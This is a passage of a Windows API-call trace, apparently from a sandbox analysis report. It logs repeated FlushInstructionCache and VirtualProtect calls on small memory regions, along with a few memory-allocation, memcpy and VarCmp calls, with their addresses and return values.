returned 0xffffffff [0084.780] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0084.780] GetCurrentProcess () returned 0xffffffff [0084.780] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0084.780] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.781] GetCurrentProcess () returned 0xffffffff [0084.781] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0084.781] GetCurrentProcess () returned 0xffffffff [0084.781] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0084.781] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19724c | out: lpflOldProtect=0x19724c*=0x40) returned 1 [0084.781] GetCurrentProcess () returned 0xffffffff [0084.781] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0084.782] GetAsyncKeyState (vKey=3) returned 0 [0084.782] CRetailMalloc_Alloc () returned 0xca910a0 [0084.782] memcpy (in: _Dst=0xfa54f38, _Src=0x1973fc, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.782] memcpy (in: _Dst=0xca910c0, _Src=0x197464, _Size=0x18 | out: _Dst=0xca910c0) returned 0xca910c0 [0084.782] CRetailMalloc_Realloc () returned 0xca910a0 [0084.782] CRetailMalloc_Free () returned 0x1 [0084.782] GetCurrentProcess () returned 0xffffffff [0084.782] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0084.782] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.783] GetCurrentProcess () returned 0xffffffff [0084.783] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0084.783] GetCurrentProcess () returned 0xffffffff [0084.783] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0084.783] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.783] GetCurrentProcess () returned 0xffffffff [0084.783] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0084.783] GetCurrentProcess () returned 0xffffffff [0084.783] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0084.783] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.784] GetCurrentProcess () returned 0xffffffff [0084.784] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0084.784] GetCurrentProcess () returned 0xffffffff [0084.784] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0084.784] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.784] GetCurrentProcess () returned 0xffffffff [0084.784] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0084.784] GetCurrentProcess () returned 0xffffffff [0084.784] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0084.784] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.785] GetCurrentProcess () returned 0xffffffff [0084.785] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0084.785] GetCurrentProcess () returned 0xffffffff [0084.785] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0084.785] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.785] GetCurrentProcess () returned 0xffffffff [0084.785] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0084.785] GetCurrentProcess () returned 0xffffffff [0084.785] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0084.785] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.786] GetCurrentProcess () returned 0xffffffff [0084.786] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0084.786] GetCurrentProcess () returned 0xffffffff [0084.786] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0084.786] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.786] GetCurrentProcess () returned 0xffffffff [0084.786] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0084.786] GetCurrentProcess () returned 0xffffffff [0084.786] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0084.786] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.787] GetCurrentProcess () returned 0xffffffff [0084.787] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0084.787] GetCurrentProcess () returned 0xffffffff [0084.787] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0084.787] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.787] GetCurrentProcess () returned 0xffffffff [0084.787] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0084.787] GetCurrentProcess () returned 0xffffffff [0084.787] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0084.787] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.788] GetCurrentProcess () returned 0xffffffff [0084.788] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0084.788] GetCurrentProcess () returned 0xffffffff [0084.788] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0084.788] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.788] GetCurrentProcess () returned 0xffffffff [0084.788] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0084.788] GetCurrentProcess () returned 0xffffffff [0084.788] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0084.788] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.789] GetCurrentProcess () returned 0xffffffff [0084.789] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0084.789] GetCurrentProcess () returned 0xffffffff [0084.789] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0084.789] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.789] GetCurrentProcess () returned 0xffffffff [0084.789] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0084.789] GetCurrentProcess () returned 0xffffffff [0084.789] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0084.789] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.790] GetCurrentProcess () returned 0xffffffff [0084.790] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0084.790] GetCurrentProcess () returned 0xffffffff [0084.790] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0084.790] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.790] GetCurrentProcess () returned 0xffffffff [0084.790] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0084.790] GetCurrentProcess () returned 0xffffffff [0084.790] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0084.791] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.791] GetCurrentProcess () returned 0xffffffff [0084.791] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0084.791] GetCurrentProcess () returned 0xffffffff [0084.791] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0084.791] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.791] GetCurrentProcess () returned 0xffffffff [0084.791] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0084.791] GetCurrentProcess () returned 0xffffffff [0084.791] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0084.791] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.792] GetCurrentProcess () returned 0xffffffff [0084.792] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0084.792] GetCurrentProcess () returned 0xffffffff [0084.792] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0084.792] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.792] GetCurrentProcess () returned 0xffffffff [0084.792] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0084.792] GetCurrentProcess () returned 0xffffffff [0084.792] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0084.792] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.793] GetCurrentProcess () returned 0xffffffff [0084.793] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0084.793] GetCurrentProcess () returned 0xffffffff [0084.793] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0084.793] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.793] GetCurrentProcess () returned 0xffffffff [0084.793] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0084.793] GetCurrentProcess () returned 0xffffffff [0084.793] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df8, dwSize=0x14) returned 1 [0084.793] VirtualProtect (in: lpAddress=0xcb35df8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.794] GetCurrentProcess () returned 0xffffffff [0084.794] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35df9, dwSize=0x2) returned 1 [0084.794] GetCurrentProcess () returned 0xffffffff [0084.794] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e18, dwSize=0x14) returned 1 [0084.794] VirtualProtect (in: lpAddress=0xcb35e18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.794] GetCurrentProcess () returned 0xffffffff [0084.794] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e19, dwSize=0x2) returned 1 [0084.794] GetCurrentProcess () returned 0xffffffff [0084.794] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e38, dwSize=0x14) returned 1 [0084.794] VirtualProtect (in: lpAddress=0xcb35e38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.795] GetCurrentProcess () returned 0xffffffff [0084.795] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e39, dwSize=0x2) returned 1 [0084.795] GetCurrentProcess () returned 0xffffffff [0084.795] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e58, dwSize=0x14) returned 1 [0084.795] VirtualProtect (in: lpAddress=0xcb35e58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.795] GetCurrentProcess () returned 0xffffffff [0084.795] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e59, dwSize=0x2) returned 1 [0084.795] GetCurrentProcess () returned 0xffffffff [0084.795] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e78, dwSize=0x14) returned 1 [0084.795] VirtualProtect (in: lpAddress=0xcb35e78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.796] GetCurrentProcess () returned 0xffffffff [0084.796] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e79, dwSize=0x2) returned 1 [0084.796] GetCurrentProcess () returned 0xffffffff [0084.796] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e98, dwSize=0x14) returned 1 [0084.796] VirtualProtect (in: lpAddress=0xcb35e98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.796] GetCurrentProcess () returned 0xffffffff [0084.796] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35e99, dwSize=0x2) returned 1 [0084.796] GetCurrentProcess () returned 0xffffffff [0084.796] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36330, dwSize=0x14) returned 1 [0084.796] VirtualProtect (in: lpAddress=0xcb36330, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.797] GetCurrentProcess () returned 0xffffffff [0084.797] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36331, dwSize=0x2) returned 1 [0084.797] GetCurrentProcess () returned 0xffffffff [0084.797] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36350, dwSize=0x14) returned 1 [0084.797] VirtualProtect (in: lpAddress=0xcb36350, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.797] GetCurrentProcess () returned 0xffffffff [0084.797] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36351, dwSize=0x2) returned 1 [0084.797] GetCurrentProcess () returned 0xffffffff [0084.797] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36370, dwSize=0x14) returned 1 [0084.797] VirtualProtect (in: lpAddress=0xcb36370, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19710c | out: lpflOldProtect=0x19710c*=0x40) returned 1 [0084.798] GetCurrentProcess () returned 0xffffffff [0084.798] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb36371, dwSize=0x2) returned 1 [0084.798] GetAsyncKeyState (vKey=3) returned 0 [0084.798] VarCmp (pvarLeft=0x197a1c, pvarRight=0x197a0c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0084.799] CRetailMalloc_Alloc () returned 0xca91100 [0084.799] memcpy (in: _Dst=0xfa54f38, _Src=0x19731c, _Size=0x4 | out: _Dst=0xfa54f38) returned 0xfa54f38 [0084.799] memcpy (in: _Dst=0xca91120, _Src=0x197384, _Size=0x18 | out: _Dst=0xca91120) returned 0xca91120 [0084.799] CRetailMalloc_Realloc () returned 0xca91100 [0084.799] CRetailMalloc_Free () returned 0x1 [0084.799] GetCurrentProcess () returned 0xffffffff [0084.799] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bc, dwSize=0x14) returned 1 [0084.799] VirtualProtect (in: lpAddress=0xf31a6bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.799] GetCurrentProcess () returned 0xffffffff [0084.799] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6bd, dwSize=0x2) returned 1 [0084.799] GetCurrentProcess () returned 0xffffffff [0084.799] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dc, dwSize=0x14) returned 1 [0084.799] VirtualProtect (in: lpAddress=0xf31a6dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.800] GetCurrentProcess () returned 0xffffffff [0084.800] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6dd, dwSize=0x2) returned 1 [0084.800] GetCurrentProcess () returned 0xffffffff [0084.800] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fc, dwSize=0x14) returned 1 [0084.800] VirtualProtect (in: lpAddress=0xf31a6fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.800] GetCurrentProcess () returned 0xffffffff [0084.800] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a6fd, dwSize=0x2) returned 1 [0084.800] GetCurrentProcess () returned 0xffffffff [0084.800] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71c, dwSize=0x14) returned 1 [0084.800] VirtualProtect (in: lpAddress=0xf31a71c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.801] GetCurrentProcess () returned 0xffffffff [0084.801] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a71d, dwSize=0x2) returned 1 [0084.801] GetCurrentProcess () returned 0xffffffff [0084.801] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73c, dwSize=0x14) returned 1 [0084.801] VirtualProtect (in: lpAddress=0xf31a73c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.801] GetCurrentProcess () returned 0xffffffff [0084.801] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a73d, dwSize=0x2) returned 1 [0084.801] GetCurrentProcess () returned 0xffffffff [0084.801] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75c, dwSize=0x14) returned 1 [0084.801] VirtualProtect (in: lpAddress=0xf31a75c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.802] GetCurrentProcess () returned 0xffffffff [0084.802] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a75d, dwSize=0x2) returned 1 [0084.802] GetCurrentProcess () returned 0xffffffff [0084.802] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77c, dwSize=0x14) returned 1 [0084.802] VirtualProtect (in: lpAddress=0xf31a77c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.802] GetCurrentProcess () returned 0xffffffff [0084.802] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a77d, dwSize=0x2) returned 1 [0084.802] GetCurrentProcess () returned 0xffffffff [0084.803] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79c, dwSize=0x14) returned 1 [0084.803] VirtualProtect (in: lpAddress=0xf31a79c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.803] GetCurrentProcess () returned 0xffffffff [0084.803] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a79d, dwSize=0x2) returned 1 [0084.803] GetCurrentProcess () returned 0xffffffff [0084.803] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bc, dwSize=0x14) returned 1 [0084.803] VirtualProtect (in: lpAddress=0xf31a7bc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.803] GetCurrentProcess () returned 0xffffffff [0084.803] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7bd, dwSize=0x2) returned 1 [0084.803] GetCurrentProcess () returned 0xffffffff [0084.803] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dc, dwSize=0x14) returned 1 [0084.804] VirtualProtect (in: lpAddress=0xf31a7dc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.804] GetCurrentProcess () returned 0xffffffff [0084.804] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7dd, dwSize=0x2) returned 1 [0084.804] GetCurrentProcess () returned 0xffffffff [0084.804] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fc, dwSize=0x14) returned 1 [0084.804] VirtualProtect (in: lpAddress=0xf31a7fc, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.804] GetCurrentProcess () returned 0xffffffff [0084.804] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a7fd, dwSize=0x2) returned 1 [0084.804] GetCurrentProcess () returned 0xffffffff [0084.804] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81c, dwSize=0x14) returned 1 [0084.805] VirtualProtect (in: lpAddress=0xf31a81c, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.805] GetCurrentProcess () returned 0xffffffff [0084.805] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xf31a81d, dwSize=0x2) returned 1 [0084.805] GetCurrentProcess () returned 0xffffffff [0084.805] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb8, dwSize=0x14) returned 1 [0084.805] VirtualProtect (in: lpAddress=0xcb35cb8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.806] GetCurrentProcess () returned 0xffffffff [0084.806] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cb9, dwSize=0x2) returned 1 [0084.806] GetCurrentProcess () returned 0xffffffff [0084.806] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd8, dwSize=0x14) returned 1 [0084.806] VirtualProtect (in: lpAddress=0xcb35cd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.806] GetCurrentProcess () returned 0xffffffff [0084.806] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cd9, dwSize=0x2) returned 1 [0084.806] GetCurrentProcess () returned 0xffffffff [0084.806] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf8, dwSize=0x14) returned 1 [0084.806] VirtualProtect (in: lpAddress=0xcb35cf8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.807] GetCurrentProcess () returned 0xffffffff [0084.807] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35cf9, dwSize=0x2) returned 1 [0084.807] GetCurrentProcess () returned 0xffffffff [0084.807] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d18, dwSize=0x14) returned 1 [0084.807] VirtualProtect (in: lpAddress=0xcb35d18, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.807] GetCurrentProcess () returned 0xffffffff [0084.807] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d19, dwSize=0x2) returned 1 [0084.807] GetCurrentProcess () returned 0xffffffff [0084.807] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d38, dwSize=0x14) returned 1 [0084.808] VirtualProtect (in: lpAddress=0xcb35d38, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.808] GetCurrentProcess () returned 0xffffffff [0084.808] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d39, dwSize=0x2) returned 1 [0084.808] GetCurrentProcess () returned 0xffffffff [0084.808] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d58, dwSize=0x14) returned 1 [0084.808] VirtualProtect (in: lpAddress=0xcb35d58, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.809] GetCurrentProcess () returned 0xffffffff [0084.809] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d59, dwSize=0x2) returned 1 [0084.809] GetCurrentProcess () returned 0xffffffff [0084.809] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d78, dwSize=0x14) returned 1 [0084.809] VirtualProtect (in: lpAddress=0xcb35d78, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.809] GetCurrentProcess () returned 0xffffffff [0084.809] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d79, dwSize=0x2) returned 1 [0084.809] GetCurrentProcess () returned 0xffffffff [0084.809] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d98, dwSize=0x14) returned 1 [0084.809] VirtualProtect (in: lpAddress=0xcb35d98, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.809] GetCurrentProcess () returned 0xffffffff [0084.810] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35d99, dwSize=0x2) returned 1 [0084.810] GetCurrentProcess () returned 0xffffffff [0084.810] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db8, dwSize=0x14) returned 1 [0084.810] VirtualProtect (in: lpAddress=0xcb35db8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.810] GetCurrentProcess () returned 0xffffffff [0084.810] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35db9, dwSize=0x2) returned 1 [0084.810] GetCurrentProcess () returned 0xffffffff [0084.810] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd8, dwSize=0x14) returned 1 [0084.810] VirtualProtect (in: lpAddress=0xcb35dd8, dwSize=0x14, flNewProtect=0x40, lpflOldProtect=0x19702c | out: lpflOldProtect=0x19702c*=0x40) returned 1 [0084.810] GetCurrentProcess () returned 0xffffffff [0084.810] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0xcb35dd9, dwSize=0x2) returned 1 [0084.810] GetCurrentProcess () returned 